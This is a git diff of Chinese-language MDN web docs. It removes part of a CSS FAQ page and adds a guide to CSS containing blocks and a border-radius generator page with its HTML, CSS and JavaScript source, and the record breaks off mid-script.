-.news { background: black; color: white; }
-.today { font-weight: bold; }
-</style>
-
-<div class="news today">
-... content of today's news ...
-</div>
-
- -

如果相同的属性中声明的规则,解决冲突首先通过特异性,然后根据CSS声明的顺序。在class属性类的顺序是不相关的。

- -

为什么我的样式规则不能正确地工作?

- -

在语法上正确的样式规则可能在某些情况下不适用。你可以使用 DOM Inspector's CSS Style Rules 调试这类问题。 下面列出了最常见的忽略样式规则的实例:

- -

HTML元素层次结构

- -

The way CSS styles are applied to HTML elements depends also on the elements hierarchy. It is important to remember that a rule applied to a descendent overrides the style of the parent, in spite of any specificity or priority of CSS rules.

- -
.news { color: black; }
-.corpName { font-weight: bold; color: red; }
-
-<!-- news item text is black, but corporate name is red and in bold -->
-<div class="news">
-   (Reuters) <span class="corpName">General Electric</span> (GE.NYS) announced on Thursday...
-</div>
-
- -

In case of complex HTML hierarchies, if a rule seems to be ignored, check if the element is inside another element with a different style.

- -

显式重定义样式规则

- -

In CSS stylesheets, order is important. If you define a rule and then you re-define the same rule, the last definition is used.

- -
#stockTicker { font-weight: bold; }
-.stockSymbol { color: red; }
-/*  other rules             */
-/*  other rules             */
-/*  other rules             */
-.stockSymbol { font-weight: normal; }
-
-<!-- most text is in bold, except "GE", which is red and not bold -->
-<div id="stockTicker">
-   NYS: <span class="stockSymbol">GE</span> +1.0 ...
-</div>
-
- -

To avoid this kind of error, try to define rules only once for a certain selector, and group all rules belonging to that selector.

- -

使用便捷属性

- -

Using shorthand properties for defining style rules is good because it uses a very compact syntax. Using shorthand with only some attributes is possible and correct, but it must be remembered that undeclared attributes are automatically reset to default. This means that a previous rule for a single attribute could be implicitly overridden.

- -
#stockTicker { font-size: 12px; font-family: Verdana; font-weight: bold; }
-.stockSymbol { font: 14px Arial; color: red; }
-
-<div id="stockTicker">
-   NYS: <span class="stockSymbol">GE</span> +1.0 ...
-</div>
-
- -

In the previous example the problem occurred on rules belonging to different elements, but it could happen also for the same element, because rule order is important.

- -
#stockTicker {
-   font-weight: bold;
-   font: 12px Verdana;  /* font-weight is now normal */
-}
-
- -

使用 * 选择器

- -

The * wildcard selector refers to any element, and it has to be used with particular care.

- -
body * { font-weight: normal; }
-#stockTicker { font: 12px Verdana; }
-.corpName { font-weight: bold; }
-.stockUp { color: red; }
-
-<div id="section">
-   NYS: <span class="corpName"><span class="stockUp">GE</span></span> +1.0 ...
-</div>
-
- -

In this example the body * selector applies the rule to all elements inside body, at any hierarchy level, including the .stockUp class. So font-weight: bold; applied to the .corpName class is overridden by font-weight: normal; applied to all elements in the body.

- -

The use of the * selector should be minimized as it is a slow selector, especially when not used as the first element of a selector. Its use should be avoided as much as possible.

- -

CSS 中的优先级

- -

When multiples rules apply to a certain element, the rule chosen depends on its style specificity. Inline style (in HTML style attributes) comes first, followed by ID selectors, then class selectors and eventually element-name selectors.

- -
div { color: black; }
-#orange { color: orange; }
-.green { color: green; }
-
-<div id="orange" class="green" style="color: red;">This is red</div>
-
- -

The rules are more complicated when the selector has multiple parts. More detailed information about how selector specificity is calculated can be found in the CSS 2.1 Specification chapter 6.4.3

- -

 -moz-*, -ms-*, -webkit-*, -o-* 以及 -khtml-* 属性有什么用?

- -

These  properties, called prefixed properties, are extension to the CSS standard. They are used to use experimental and non-standard features without polluting the regular namespace, preventing future incompatibilities to arise when the standard is extended.

- -

The use of such properties on production websites is not recommended. If nevertheless needed, you are hinted to make a plan for the website evolution: these prefixed properties can be modified or even suppressed when the standard evolve.

- -

Please see the Mozilla CSS Extensions page for more information on the Mozilla-prefixed CSS properties.

- -

z-index 属性与定位有什么关系?

- -

z-index属性指定了元素的栈序。

- -

有较高z-index/栈序的元素总是在有着较低z-index/栈序的元素之前。

- -

z-index只会在有着指定position (position:absolute, position:relative, or position:fixed)的元素上工作。

diff --git a/files/zh-cn/web/css/containing_block/index.html b/files/zh-cn/web/css/containing_block/index.html new file mode 100644 index 0000000000..bf35aa8c04 --- /dev/null +++ b/files/zh-cn/web/css/containing_block/index.html @@ -0,0 +1,268 @@ +--- +title: 布局和包含块 +slug: Web/CSS/All_About_The_Containing_Block +tags: + - CSS + - CSS Position + - Containers + - Guide + - Layout + - Position + - Style + - blocks + - containing block + - size +translation_of: Web/CSS/Containing_block +--- +

{{cssref}}

+ +

一个元素的尺寸和位置经常受其包含块(containing block)的影响。大多数情况下,包含块就是这个元素最近的祖先块元素内容区,但也不是总是这样。在本文中,我们来过一遍确定包含块的所有因素。

+ +

当一个客户端代理(比如说浏览器)展示一个文档的时候,对于每一个元素,它都产生了一个盒子。每一个盒子都被划分为四个区域:

+ +
    +
  1. 内容区
  2. +
  3. 内边距区
  4. +
  5. 边框区
  6. +
  7. 外边距区
  8. +
+ +

Diagram of the box model

+ +

许多开发者认为一个元素的包含块就是他的父元素的内容区。但事实并非如此。接下来让我们来看看,确定元素包含块的因素都有哪些。

+ +

包含块的影响

+ +

在学习如何确定元素包含块之前,先了解一下它的重要性。

+ +

元素的尺寸及位置,常常会受它的包含块所影响。对于一些属性,例如 {{cssxref("width")}}, {{cssxref("height")}}, {{cssxref("padding")}}, {{cssxref("margin")}},绝对定位元素的偏移值 (比如 {{cssxref("position")}} 被设置为 absolute 或 fixed),当我们对其赋予百分比值时,这些值的计算值,就是通过元素的包含块计算得来。

+ +

确定包含块

+ +

确定一个元素的包含块的过程完全依赖于这个元素的 {{cssxref("position")}} 属性:

+ +
    +
  1. 如果 position 属性为 static 、 relative 或 sticky,包含块可能由它的最近的祖先块元素(比如说inline-block, block 或 list-item元素)的内容区的边缘组成,也可能会建立格式化上下文(比如说 a table container, flex container, grid container, 或者是 the block container 自身)。
  2. +
  3. 如果 position 属性为 absolute ,包含块就是由它的最近的 position 的值不是 static (也就是值为fixed, absolute, relative 或 sticky)的祖先元素的内边距区的边缘组成。
  4. +
  5. 如果 position 属性是 fixed,在连续媒体的情况下(continuous media)包含块是 {{glossary("viewport")}} ,在分页媒体(paged media)下的情况下包含块是分页区域(page area)。
  6. +
  7. 如果 position 属性是 absolutefixed,包含块也可能是由满足以下条件的最近父级元素的内边距区的边缘组成的: +
      +
    1.  {{cssxref("transform")}} 或 {{cssxref("perspective")}} 的值不是 none
    2. +
    3.  {{cssxref("will-change")}} 的值是 transform 或 perspective
    4. +
    5.  {{cssxref("filter")}} 的值不是 none 或 will-change 的值是 filter(只在 Firefox 下生效).
    6. +
    7.  {{cssxref("contain")}} 的值是 paint (例如: contain: paint;)
    8. +
    +
  8. +
+ +
+

注意: 根元素(<html>)所在的包含块是一个被称为初始包含块的矩形。他的尺寸是视口 viewport (for continuous media) 或分页媒体 page media (for paged media).

+
+ +

根据包含块计算百分值

+ +

如上所述,如果某些属性被赋予一个百分值的话,它的计算值是由这个元素的包含块计算而来的。这些属性包括盒模型属性和偏移属性:

+ +
    +
  1. 要计算 {{cssxref("height")}} {{cssxref("top")}} 及 {{cssxref("bottom")}} 中的百分值,是通过包含块的 height 的值。如果包含块的 height 值会根据它的内容变化,而且包含块的 position 属性的值被赋予 relativestatic ,那么,这些值的计算值为 auto
  2. +
  3. 要计算 {{cssxref("width")}}, {{cssxref("left")}}, {{cssxref("right")}}, {{cssxref("padding")}}, {{cssxref("margin")}} 这些属性由包含块的 width 属性的值来计算它的百分值。
  4. +
+ +

示例

+ +

接下来的示例,都使用如下 HTML 代码:

+ +
<body>
+  <section>
+    <p>This is a paragraph!</p>
+  </section>
+</body>
+ +

下面的示例,只有 CSS 不同。

+ +

Example 1

+ +

这个示例中,P 标签设置为静态定位,所以它的包含块为 <section> ,因为距离最近的父节点即是她的包含块。

+ + + +
body {
+  background: beige;
+}
+
+section {
+  display: block;
+  width: 400px;
+  height: 160px;
+  background: lightgray;
+}
+
+p {
+  width: 50%;   /* == 400px * .5 = 200px */
+  height: 25%;  /* == 160px * .25 = 40px */
+  margin: 5%;   /* == 400px * .05 = 20px */
+  padding: 5%;  /* == 400px * .05 = 20px */
+  background: cyan;
+}
+
+ +

{{EmbedLiveSample('Example_1','100%','300')}}

+ +

Example 2

+ +

在这个示例中,P 标签的包含块为 <body> 元素,因为 <section> 不再是一个块容器,所以并没有形成一个格式上下文。

+ + + +
body {
+  background: beige;
+}
+
+section {
+  display: inline;
+  background: lightgray;
+}
+
+p {
+  width: 50%;     /* == half the body's width */
+  height: 200px;  /* Note: a percentage would be 0 */
+  background: cyan;
+}
+
+ +

{{EmbedLiveSample('Example_2','100%','300')}}

+ +

Example 3

+ +

这个示例中,P 元素的包含块是 <section>,因为 <section> 的 position 为 absolute 。P 元素的百分值会受其包含块的 padding 所影响。不过,如果包含块的 {{cssxref("box-sizing")}} 值设置为 border-box ,就没有这个问题。

+ + + +
body {
+  background: beige;
+}
+
+section {
+  position: absolute;
+  left: 30px;
+  top: 30px;
+  width: 400px;
+  height: 160px;
+  padding: 30px 20px;
+  background: lightgray;
+}
+
+p {
+  position: absolute;
+  width: 50%;   /* == (400px + 20px + 20px) * .5 = 220px */
+  height: 25%;  /* == (160px + 30px + 30px) * .25 = 55px */
+  margin: 5%;   /* == (400px + 20px + 20px) * .05 = 22px */
+  padding: 5%;  /* == (400px + 20px + 20px) * .05 = 22px */
+  background: cyan;
+}
+
+ +

{{EmbedLiveSample('Example_3','100%','300')}}

+ +

Example 4

+ +

这个示例中,P 元素的 position 为 fixed,所以它的包含块就是初始包含块(在屏幕上,也就是 viewport)。这样的话,P 元素的尺寸大小,将会随着浏览器窗框大小的变化,而变化。

+ + + +
body {
+  background: beige;
+}
+
+section {
+  width: 400px;
+  height: 480px;
+  margin: 30px;
+  padding: 15px;
+  background: lightgray;
+}
+
+p {
+  position: fixed;
+  width: 50%;   /* == (50vw - (width of vertical scrollbar)) */
+  height: 50%;  /* == (50vh - (height of horizontal scrollbar)) */
+  margin: 5%;   /* == (5vw - (width of vertical scrollbar)) */
+  padding: 5%;  /* == (5vw - (width of vertical scrollbar)) */
+  background: cyan;
+}
+
+ +

{{EmbedLiveSample('Example_4','100%','300')}}

+ +

Example 5

+ +

这个示例中,P 元素的 position 为 absolute,所以它的包含块是 <section>,也就是距离它最近的一个 transform 值不为 none 的父元素。

+ + + +
body {
+  background: beige;
+}
+
+section {
+  transform: rotate(0deg);
+  width: 400px;
+  height: 160px;
+  background: lightgray;
+}
+
+p {
+  position: absolute;
+  left: 80px;
+  top: 30px;
+  width: 50%;   /* == 200px */
+  height: 25%;  /* == 40px */
+  margin: 5%;   /* == 20px */
+  padding: 5%;  /* == 20px */
+  background: cyan;
+}
+
+ +

{{EmbedLiveSample('Example_5','100%','300')}}

+ +

另见

+ +
    +
  • {{css_key_concepts}}
  • +
  • {{cssxref("all")}} 属性可将所有 CSS 声明重置为它所指定的状态
  • +
diff --git a/files/zh-cn/web/css/css_background_and_borders/border-radius_generator/index.html b/files/zh-cn/web/css/css_background_and_borders/border-radius_generator/index.html new file mode 100644 index 0000000000..b9f50d5332 --- /dev/null +++ b/files/zh-cn/web/css/css_background_and_borders/border-radius_generator/index.html @@ -0,0 +1,1599 @@ +--- +title: 圆角边框生成器 +slug: Web/CSS/CSS_Background_and_Borders/圆角边框发生器 +translation_of: Web/CSS/CSS_Background_and_Borders/Border-radius_generator +--- +

使用Border-radius generator生成 CSS3 {{cssxref("border-radius")}} 样式

+ +
+

border-radius

+ +

HTML Content

+ +
<div id="container">
+    <div class="group section">
+        <div id="preview" class="col span_12">
+            <div id="subject">
+                <div id="top-left" class="radius-container"
+                    data-X="left" data-Y="top">
+                </div>
+                <div id="top-right" class="radius-container"
+                    data-X="right" data-Y="top">
+                </div>
+                <div id="bottom-right" class="radius-container"
+                    data-X="right" data-Y="bottom">
+                </div>
+                <div id="bottom-left" class="radius-container"
+                    data-X="left" data-Y="bottom">
+                </div>
+
+                <div id="radius-ui-sliders">
+                    <div id="tlr" class="ui-input-slider" data-topic="top-left"
+                         data-unit=" px" data-sensivity="2"></div>
+
+                    <div id="tlw" class="ui-input-slider" data-topic="top-left-w"
+                         data-unit=" px" data-sensivity="2"></div>
+
+                    <div id="tlh" class="ui-input-slider" data-topic="top-left-h"
+                        data-unit=" px" data-sensivity="2"></div>
+
+                    <div id="trr" class="ui-input-slider" data-topic="top-right"
+                         data-unit=" px" data-sensivity="2"></div>
+
+                    <div id="trw" class="ui-input-slider" data-topic="top-right-w"
+                         data-unit=" px" data-sensivity="2"></div>
+
+                    <div id="trh" class="ui-input-slider" data-topic="top-right-h"
+                        data-unit=" px" data-sensivity="2"></div>
+
+                    <div id="brr" class="ui-input-slider" data-topic="bottom-right"
+                         data-unit=" px" data-sensivity="2"></div>
+
+                    <div id="brw" class="ui-input-slider" data-topic="bottom-right-w"
+                         data-unit=" px" data-sensivity="2"></div>
+
+                    <div id="brh" class="ui-input-slider" data-topic="bottom-right-h"
+                        data-unit=" px" data-sensivity="2"></div>
+
+                    <div id="blr" class="ui-input-slider" data-topic="bottom-left"
+                         data-unit=" px" data-sensivity="2"></div>
+
+                    <div id="blw" class="ui-input-slider" data-topic="bottom-left-w"
+                         data-unit=" px" data-sensivity="2"></div>
+
+                    <div id="blh" class="ui-input-slider" data-topic="bottom-left-h"
+                        data-unit=" px" data-sensivity="2"></div>
+                </div>
+            </div>
+        </div>
+    </div>
+    <div id="controls" class="group section">
+
+        <div class="group section">
+            <div id="dimensions">
+                <div class="ui-input-slider" data-topic="width" data-info="width"
+                     data-unit=" px" data-min="150" data-max="700" data-sensivity="1"></div>
+
+                <div class="ui-input-slider" data-topic="height" data-info="height"
+                    data-unit=" px" data-min="75" data-max="350" data-sensivity="1"></div>
+            </div>
+
+            <div id="output"></div>
+        </div>
+
+        <div class="group section">
+            <div id="radius-lock">
+                <div class="info"> rounded corner </div>
+                <div class="ui-checkbox" data-topic='top-left'></div>
+                <div class="ui-checkbox" data-topic='top-right'></div>
+                <div class="ui-checkbox" data-topic='bottom-right'></div>
+                <div class="ui-checkbox" data-topic='bottom-left'></div>
+            </div>
+
+            <div id="unit-selection">
+                <div class="info"> select border units </div>
+            </div>
+        </div>
+
+    </div>
+</div>
+
+ +

CSS Content

+ +
/*  GRID OF TEN
+ * ========================================================================== */
+
+.span_12 {
+	width: 100%;
+}
+
+.span_11 {
+	width: 91.46%;
+}
+
+.span_10 {
+	width: 83%;
+}
+
+.span_9 {
+	width: 74.54%;
+}
+
+.span_8 {
+	width: 66.08%;
+}
+
+.span_7 {
+	width: 57.62%;
+}
+
+.span_6 {
+	width: 49.16%;
+}
+
+.span_5 {
+	width: 40.7%;
+}
+
+.span_4 {
+	width: 32.24%;
+}
+
+.span_3 {
+	width: 23.78%;
+}
+
+.span_2 {
+	width: 15.32%;
+}
+
+.span_1 {
+	width: 6.86%;
+}
+
+
+
+
+/*  SECTIONS
+ * ========================================================================== */
+
+.section {
+	clear: both;
+	padding: 0px;
+	margin: 0px;
+}
+
+/*  GROUPING
+ * ========================================================================== */
+
+
+.group:before, .group:after {
+    content: "";
+    display: table;
+}
+
+.group:after {
+    clear:both;
+}
+
+.group {
+    zoom: 1; /* For IE 6/7 (trigger hasLayout) */
+}
+
+/*  GRID COLUMN SETUP
+ * ========================================================================== */
+
+.col {
+	display: block;
+	float:left;
+	margin: 1% 0 1% 1.6%;
+}
+
+.col:first-child {
+	margin-left: 0;
+} /* all browsers except IE6 and lower */
+
+
+/*
+ * UI Component
+ */
+
+.ui-input-slider-container {
+	height: 20px;
+	margin: 10px 0;
+	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
+	-moz-user-select: none;
+	user-select: none;
+}
+
+.ui-input-slider-container * {
+	float: left;
+	height: 100%;
+	line-height: 100%;
+}
+
+/* Input Slider */
+
+.ui-input-slider > input {
+	margin: 0;
+	padding: 0;
+	width: 50px;
+	text-align: center;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+.ui-input-slider-info {
+	width: 90px;
+	padding: 0px 10px 0px 0px;
+	text-align: right;
+	text-transform: lowercase;
+}
+
+.ui-input-slider-left, .ui-input-slider-right {
+	width: 16px;
+	cursor: pointer;
+	background: url("https://mdn.mozillademos.org/files/5679/arrows.png") center left no-repeat;
+}
+
+.ui-input-slider-right {
+	background: url("https://mdn.mozillademos.org/files/5679/arrows.png") center right no-repeat;
+}
+
+.ui-input-slider-name {
+	width: 90px;
+	padding: 0 10px 0 0;
+	text-align: right;
+	text-transform: lowercase;
+}
+
+.ui-input-slider-btn-set {
+	width: 25px;
+	background-color: #2C9FC9;
+	border-radius: 5px;
+	color: #FFF;
+	font-weight: bold;
+	line-height: 14px;
+	text-align: center;
+}
+
+.ui-input-slider-btn-set:hover {
+	background-color: #379B4A;
+	cursor: pointer;
+}
+
+/*
+ * UI Component
+ */
+
+/* Checkbox */
+
+.ui-checkbox {
+	text-align: center;
+	font-size: 16px;
+	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
+	line-height: 1.5em;
+	color: #FFF;
+
+	-moz-user-select: none;
+	-webkit-user-select: none;
+	-ms-user-select: none;
+	user-select: none;
+}
+
+.ui-checkbox > input {
+ 	display: none;
+}
+
+.ui-checkbox > label {
+	font-size: 12px;
+	padding: 0.333em 1.666em 0.5em;
+	height: 1em;
+	line-height: 1em;
+
+	background-color: #888;
+	background-image: url("https://mdn.mozillademos.org/files/5683/disabled.png");
+	background-position: center center;
+	background-repeat: no-repeat;
+
+	color: #FFF;
+	border-radius: 3px;
+	font-weight: bold;
+	float: left;
+}
+
+.ui-checkbox .text {
+	padding-left: 34px;
+	background-position: center left 10px;
+}
+
+.ui-checkbox .left {
+	padding-right: 34px;
+	padding-left: 1.666em;
+	background-position: center right 10px;
+}
+
+.ui-checkbox > label:hover {
+	cursor: pointer;
+}
+
+.ui-checkbox > input:checked + label {
+	background-image: url("https://mdn.mozillademos.org/files/5681/checked.png");
+	background-color: #379B4A;
+}
+
+body {
+	max-width: 1000px;
+	margin: 0 auto;
+
+	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+
+	-moz-user-select: none;
+	-webkit-user-select: none;
+	-ms-user-select: none;
+	user-select: none;
+}
+
+#container {
+	width: 100%;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+/******************************************************************************/
+/******************************************************************************/
+/*
+ * Preview Area
+ */
+
+#preview {
+	height: 500px;
+	border: 1px solid #CCC;
+	border-radius: 3px;
+	text-align: center;
+	overflow: hidden;
+	position: relative;
+}
+
+#preview .content {
+	width: 100%;
+	height: 100%;
+	display: block;
+}
+
+#preview input {
+	color: #333;
+	border: 1px solid #CCC;
+	border-radius: 3px;
+}
+
+#subject {
+	width: 400px;
+	height: 150px;
+	margin: 0 auto;
+	border: 3px solid #C60;
+	background: #FFF;
+	position: relative;
+}
+
+.radius {
+	width: 50%;
+	height: 50%;
+	border: 1px solid #CCC;
+	display: none;
+	position: absolute;
+	z-index: 1;
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+.handle {
+	width: 16px;
+	height: 16px;
+	position: absolute;
+	z-index: 2;
+}
+
+.handle-top-left {
+	top: -12px;
+	left: -12px;
+	cursor: se-resize;
+	background: url("https://mdn.mozillademos.org/files/5677/resize-handle.png") top left no-repeat;
+}
+
+.handle-top-right {
+	top: -12px;
+	right: -12px;
+	cursor: sw-resize;
+	background: url("https://mdn.mozillademos.org/files/5677/resize-handle.png") top right no-repeat;
+}
+
+.handle-bottom-right {
+	bottom: -12px;
+	right: -12px;
+	cursor: nw-resize;
+	background: url("https://mdn.mozillademos.org/files/5677/resize-handle.png") bottom right no-repeat;
+}
+
+.handle-bottom-left {
+	bottom: -12px;
+	left: -12px;
+	cursor: ne-resize;
+	background: url("https://mdn.mozillademos.org/files/5677/resize-handle.png") bottom left no-repeat;
+}
+
+
+.radius-container {
+	position: absolute;
+	display : block;
+	z-index: 1;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+
+/* TOP LEFT */
+#top-left {
+	top: 0;
+	left: 0;
+}
+
+#top-left .radius {
+	border-top-left-radius: 100%;
+	top: 0;
+	left: 0;
+}
+
+/* TOP RIGHT */
+#top-right {
+	top: 0;
+	right: 0;
+}
+
+#top-right .radius {
+	border-top-right-radius: 100%;
+	top: 0;
+	right: 0;
+}
+
+/* BOTTOM RIGHT */
+#bottom-right {
+	bottom: 0;
+	right: 0;
+}
+
+#bottom-right .radius {
+	border-bottom-right-radius: 100%;
+	bottom: 0;
+	right: 0;
+}
+
+/* BOTTOM lEFT */
+#bottom-left {
+	bottom: 0;
+	left: 0;
+}
+
+#bottom-left .radius {
+	border-bottom-left-radius: 100%;
+	bottom: 0;
+}
+
+/* INPUT SLIDERS */
+
+#preview .ui-input-slider {
+	margin: 10px;
+	position: absolute;
+	z-index: 10;
+}
+
+#radius-ui-sliders {
+	width: 100%;
+	height: 100%;
+	min-height: 75px;
+	min-width: 150px;
+	padding: 20px 50px;
+	top: -20px;
+	left: -50px;
+	position: relative;
+}
+
+#tlr {
+	top: -30px;
+	left: -50px;
+	display: none;
+}
+
+#tlw {
+	top: -30px;
+	left: 30px;
+}
+
+#tlh {
+	top: 20px;
+	left: -50px;
+}
+
+#trr {
+	top: -30px;
+	right: -50px;
+	display: none;
+}
+
+#trw {
+	top: -30px;
+	right: 30px;
+}
+
+#trh {
+	top: 20px;
+	right: -50px;
+}
+
+#brr {
+	bottom: -30px;
+	right: -50px;
+	display: none;
+}
+
+#brw {
+	bottom: -30px;
+	right: 30px;
+}
+
+#brh {
+	bottom: 20px;
+	right: -50px;
+}
+
+#blr {
+	bottom: -30px;
+	left: -50px;
+	display: none;
+}
+
+#blw {
+	bottom: -30px;
+	left: 30px;
+}
+
+#blh {
+	bottom: 20px;
+	left: -50px;
+}
+
+#preview .ui-input-slider-left, #preview .ui-input-slider-right {
+	visibility: hidden;
+}
+
+#preview .ui-input-slider-container:hover .ui-input-slider-left {
+	visibility: visible;
+}
+
+#preview .ui-input-slider-container:hover .ui-input-slider-right {
+	visibility: visible;
+}
+
+/*
+ *
+ */
+
+#unit-selection {
+	width: 200px;
+	height: 75px;
+	margin: 30px 30px 0 0;
+	padding: 30px;
+	border: 3px solid #555;
+	border-radius: 10px;
+	position: relative;
+	float: right;
+}
+
+#unit-selection .info {
+	height: 20%;
+	width: 100%;
+	line-height: 20%;
+	font-size: 20px;
+	text-align: center;
+	position: relative;
+	top: 40%;
+}
+
+#unit-selection .dropdown {
+	width: 50px;
+	height: 20px;
+	margin: 10px;
+	padding: 0;
+	border-radius: 3px;
+	position: absolute;
+	overflow: hidden;
+}
+
+#unit-selection select {
+	width: 50px;
+	height: 20px;
+	marign: 0;
+	padding: 0 0 0 10px;
+	background: #555;
+	border: 1px solid #555;
+	border: none;
+	color: #FFF;
+	float: left;
+}
+
+#unit-selection select option {
+	background: #FFF;
+	color: #333;
+}
+
+#unit-selection select:hover {
+	cursor: pointer;
+}
+
+#unit-selection .dropdown:before {
+	content: "";
+	width: 18px;
+	height: 20px;
+	display: block;
+	background-color: #555;
+	background-image: url("https://mdn.mozillademos.org/files/5675/dropdown.png");
+	background-position: center center;
+	background-repeat: no-repeat;
+	top: 0px;
+	right: 0px;
+	position: absolute;
+	z-index: 1;
+	pointer-events: none;
+}
+
+#unit-selection .unit-top-left {
+	top: 0;
+	left: 0;
+	display: none;
+}
+
+#unit-selection .unit-top-left-w {
+	top: -22px;
+	left: 30px;
+}
+
+#unit-selection .unit-top-left-h {
+	top: 20px;
+	left: -37px;
+}
+
+#unit-selection .unit-top-right {
+	top: 0;
+	right: 0;
+	display: none;
+}
+
+#unit-selection .unit-top-right-w {
+	top: -22px;
+	right: 30px;
+}
+
+#unit-selection .unit-top-right-h {
+	top: 20px;
+	right: -37px;
+}
+
+#unit-selection .unit-bottom-right {
+	bottom: 0;
+	right: 0;
+	display: none;
+}
+
+#unit-selection .unit-bottom-right-w {
+	bottom: -22px;
+	right: 30px;
+}
+
+#unit-selection .unit-bottom-right-h {
+	bottom: 20px;
+	right: -37px;
+}
+
+#unit-selection .unit-bottom-left {
+	bottom: 0;
+	left: 0;
+	display: none;
+}
+
+#unit-selection .unit-bottom-left-w {
+	bottom: -22px;
+	left: 30px;
+}
+
+#unit-selection .unit-bottom-left-h {
+	bottom: 20px;
+	left: -37px;
+}
+
+/******************************************************************************/
+/******************************************************************************/
+
+
+#radius-lock {
+	width: 200px;
+	height: 75px;
+	margin: 30px 0 0 30px;
+	padding: 30px;
+	border: 3px solid #555;
+	border-radius: 10px;
+	position: relative;
+	float: left;
+}
+
+#radius-lock .ui-checkbox {
+	color: #FFF;
+	position: absolute;
+}
+
+#radius-lock .ui-checkbox > label {
+	height: 20px;
+	width: 34px;
+	padding: 0;
+}
+
+#radius-lock .info {
+	height: 20%;
+	width: 100%;
+	line-height: 20%;
+	font-size: 20px;
+	text-align: center;
+	position: relative;
+	top: 40%;
+}
+
+#radius-lock [data-topic="top-left"] {
+	top: 10px;
+	left: 10px;
+}
+
+#radius-lock [data-topic="top-right"] {
+	top: 10px;
+	right: 10px;
+}
+
+#radius-lock [data-topic="bottom-right"] {
+	bottom: 10px;
+	right: 10px;
+}
+
+#radius-lock [data-topic="bottom-left"] {
+	bottom: 10px;
+	left: 10px;
+}
+
+/**
+ * Controls
+ */
+
+#dimensions {
+	width: 200px;
+	color: #444;
+	float:left;
+}
+
+#dimensions input {
+	background: #555;
+	color: #FFF;
+	border: none;
+	border-radius: 3px;
+}
+
+#output {
+	width: 500px;
+	padding: 10px 0;
+	margin: 10px 0;
+	color: #555;
+	text-align: center;
+	border: 1px dashed #999;
+	border-radius: 3px;
+	-moz-user-select: text;
+	-webkit-user-select: text;
+	-ms-user-select: text;
+	user-select: text;
+
+	float: right;
+}
+
+
+
+ +

JavaScript Content

+ +
'use strict';
+
+
+/**
+ * UI-InputSliderManager
+ */
+
+var InputSliderManager = (function InputSliderManager() {
+
+	var subscribers = {};
+	var sliders = [];
+
+	var InputComponent = function InputComponent(obj) {
+		var input = document.createElement('input');
+		input.setAttribute('type', 'text');
+
+		input.addEventListener('click', function(e) {
+			this.select();
+		});
+
+		input.addEventListener('change', function(e) {
+			var value = parseInt(e.target.value);
+
+			if (isNaN(value) === true)
+				setValue(obj.topic, obj.value);
+			else
+				setValue(obj.topic, value);
+		});
+
+		subscribe(obj.topic, function(value) {
+			input.value = value + obj.unit;
+		});
+
+		return input;
+	}
+
+	var SliderComponent = function SliderComponent(obj, sign) {
+		var slider = document.createElement('div');
+		var startX = null;
+		var start_value = 0;
+
+		slider.addEventListener("click", function(e) {
+			setValue(obj.topic, obj.value + obj.step * sign);
+		});
+
+		slider.addEventListener("mousedown", function(e) {
+			startX = e.clientX;
+			start_value = obj.value;
+			document.body.style.cursor = "e-resize";
+			document.addEventListener("mousemove", sliderMotion);
+		});
+
+		document.addEventListener("mouseup", function(e) {
+			document.removeEventListener("mousemove", sliderMotion);
+			document.body.style.cursor = "auto";
+			slider.style.cursor = "pointer";
+		});
+
+		var sliderMotion = function sliderMotion(e) {
+			slider.style.cursor = "e-resize";
+			var delta = (e.clientX - startX) / obj.sensivity | 0;
+			var value = delta * obj.step + start_value;
+			setValue(obj.topic, value);
+		}
+
+		return slider;
+	}
+
+	var InputSlider = function(node) {
+		var min		= node.getAttribute('data-min') | 0;
+		var max		= node.getAttribute('data-max') | 0;
+		var step	= node.getAttribute('data-step') | 0;
+		var value	= node.getAttribute('data-value') | 0;
+		var topic	= node.getAttribute('data-topic');
+		var unit	= node.getAttribute('data-unit');
+		var name 	= node.getAttribute('data-info');
+		var sensivity = node.getAttribute('data-sensivity') | 0;
+
+		this.min = min;
+		this.max = max > 0 ? max : 100;
+		this.step = step === 0 ? 1 : step;
+		this.topic = topic;
+		this.node = node;
+		this.unit = unit;
+		this.sensivity = sensivity > 0 ? sensivity : 5;
+
+		var input = new InputComponent(this);
+		var slider_left  = new SliderComponent(this, -1);
+		var slider_right = new SliderComponent(this,  1);
+
+		slider_left.className = 'ui-input-slider-left';
+		slider_right.className = 'ui-input-slider-right';
+
+		if (name) {
+			var info = document.createElement('span');
+			info.className = 'ui-input-slider-info';
+			info.textContent = name;
+			node.appendChild(info);
+		}
+
+		node.appendChild(slider_left);
+		node.appendChild(input);
+		node.appendChild(slider_right);
+		node.className = 'ui-input-slider ui-input-slider-container';
+
+		this.input = input;
+		sliders[topic] = this;
+		setValue(topic, value);
+	}
+
+	var setValue = function setValue(topic, value, send_notify) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		if (value > slider.max) value = slider.max;
+		if (value < slider.min)	value = slider.min;
+
+		slider.value = value;
+		slider.node.setAttribute('data-value', value);
+
+		if (send_notify !== undefined && send_notify === false) {
+			slider.input.value = value + slider.unit;
+			return;
+		}
+
+		notify.call(slider);
+	}
+
+	var setMax = function setMax(topic, value) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		slider.max = value;
+		setValue(topic, slider.value);
+	}
+
+	var setMin = function setMin(topic, value) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		slider.min = value;
+		setValue(topic, slider.value);
+	}
+
+	var setUnit = function setUnit(topic, unit) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		slider.unit = unit;
+		setValue(topic, slider.value);
+	}
+
+	var getNode =  function getNode(topic) {
+		return sliders[topic].node;
+	}
+
+	var subscribe = function subscribe(topic, callback) {
+		if (subscribers[topic] === undefined)
+			subscribers[topic] = [];
+		subscribers[topic].push(callback);
+	}
+
+	var unsubscribe = function unsubscribe(topic, callback) {
+		subscribers[topic].indexOf(callback);
